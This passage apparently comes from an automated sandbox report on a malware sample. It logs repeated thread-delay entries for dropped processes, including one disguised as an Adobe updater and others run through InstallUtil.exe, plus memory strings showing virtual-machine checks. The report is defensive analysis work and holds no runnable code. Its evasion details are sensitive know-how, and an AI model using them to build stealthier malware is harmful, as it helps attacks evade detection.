Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 96609 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 96500 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 96390 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 96281 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 96172 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 96062 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 95953 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 95843 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 95734 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 95625 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 95515 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 95406 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 95297 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 100000 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 99817 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 99687 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 99572 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 99406 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 99292 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 99187 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 99077 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 98968 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 98857 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 98750 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 98640 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 98531 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 98421 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 98312 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 98203 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 98093 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 97984 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 97875 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 97724 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 97593 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 97453 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 97343 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 97234 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 97125 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 97015 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 96906 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 96797 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 96687 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 96578 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 96468 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 96359 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 96250 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 96140 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 96031 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 95921 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 95805 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 95688 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 95562 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 95453 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 95343 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 95234 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 95124 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 95003 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 94885 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 94765 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 99873
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 99766
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 99641
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 99516
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 99406
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 99297
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 99187
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 99078
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 98969
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 98859
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 98652
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 98537
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 98395
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 98281
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 98172
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 98047
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 97937
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 97828
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 97719
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 97594
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 97484
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 97367
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 97266
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 97156
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 97044
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 96938
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 96813
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 96688
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 96578
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 96469
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 96328
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 100000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 99871
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 99750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 99640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 99531
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 99421
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 99311
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 99202
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 99094
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 98984
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 98875
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 98766
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 98656
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 98547
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 98437
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 98326
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 98218
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 98109
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 97999
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 97891
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 97781
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 97672
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 97563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 97438
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 97313
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 97188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 97078
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 96969
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 96844
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 96735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 96610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 96485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 96360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 96235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 96110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 95985
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 99886
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 99781
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 99672
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 99563
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 99453
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 99344
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 99235
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 99110
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 98985
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 98857
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 98747
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 98641
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 98531
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 98422
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 98313
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 98188
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 98063
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 97938
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 97828
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 97719
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 97594
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 97484
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 97375
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 97266
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 97156
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 97047
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Thread delayed: delay time: 96938
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 100000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 99860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 99724
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 99581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 99453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 99323
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 99141
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 99030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 98922
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 98810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 98688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 98572
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 98394
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 97907
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 97719
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 97594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 97485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 97360
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Thread delayed: delay time: 99804
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Thread delayed: delay time: 99683
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Thread delayed: delay time: 99562
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Thread delayed: delay time: 99451
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Thread delayed: delay time: 99328
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Thread delayed: delay time: 99157
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Thread delayed: delay time: 99000
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Thread delayed: delay time: 98578
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Thread delayed: delay time: 98421
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Thread delayed: delay time: 98312
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Thread delayed: delay time: 98203
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Thread delayed: delay time: 98094
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Thread delayed: delay time: 97969
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Thread delayed: delay time: 97859
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Thread delayed: delay time: 97747
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Thread delayed: delay time: 97638
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Thread delayed: delay time: 97516
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Thread delayed: delay time: 97403
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Thread delayed: delay time: 97292
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 99871
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 99764
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 99656
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 99547
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 99437
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 99326
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 99219
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 99108
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 99000
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 98891
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 98782
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 98657
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 98526
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 98391
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 97990
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 97827
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 97718
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 97607
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 97500
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 97384
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 97270
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 97141
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 97030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 99858
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 99717
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 99609
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 99499
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 99390
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 99273
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 98875
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 98761
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 98649
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 98506
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 98375
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 98265
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 98156
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 98047
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 97922
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 97812
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 97703
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 97594
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 97469
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Thread delayed: delay time: 97359
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 922337203685477
Source: InstallUtil.exe, 0000001C.00000002.2499834693.000000000080D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllV
Source: InstallUtil.exe, 00000008.00000002.2195435977.0000000000CFC000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllt+_
Source: InstallUtil.exe, 00000011.00000002.2458640803.0000000003011000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: ]qeMu
Source: InstallUtil.exe, 00000011.00000002.2458640803.0000000003011000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: ]qEMu
Source: Adobe_Install_Updater.exe, 00000015.00000002.2436755692.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllgn
Source: build.exe, 00000006.00000002.3297048266.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllr
Source: Yftssfzf.exe, 0000003D.00000002.2747364809.0000000003390000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SerialNumber0VMware|VIRTUAL|A M I|XenDselect * from Win32_ComputerSystem
Source: Plain_Checker.exe, 00000020.00000002.2578268465.0000000006215000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: Yftssfzf.exe, 0000003D.00000002.2747364809.0000000003390000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: model0Microsoft|VMWare|Virtual
Source: Yftssfzf.exe, 0000003D.00000002.2742443505.00000000014C7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll>
Source: rthh9q2PDv.exe, 00000000.00000002.2049504893.0000000000F97000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll_
Source: Yftssfzf.exe, 00000035.00000002.2657938206.00000000010E1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll?
Source: rthh9q2PDv.exe, 00000000.00000002.2049504893.0000000001019000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}oh[;
Source: Adobe_Install_Updater.exe, 0000000D.00000002.2356094916.0000000000C14000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll@
Source: tmp40CA.tmp.exe, 00000002.00000002.2197005682.0000000001233000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.2443465309.000000000112B000.00000004.00000020.00020000.00000000.sdmp, Plain_Checker.exe, 00000020.00000002.2503407100.0000000000CA3000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000021.00000002.3336960258.00000000058C2000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Process information queried: ProcessInformation Jump to behavior
Enables debug privileges
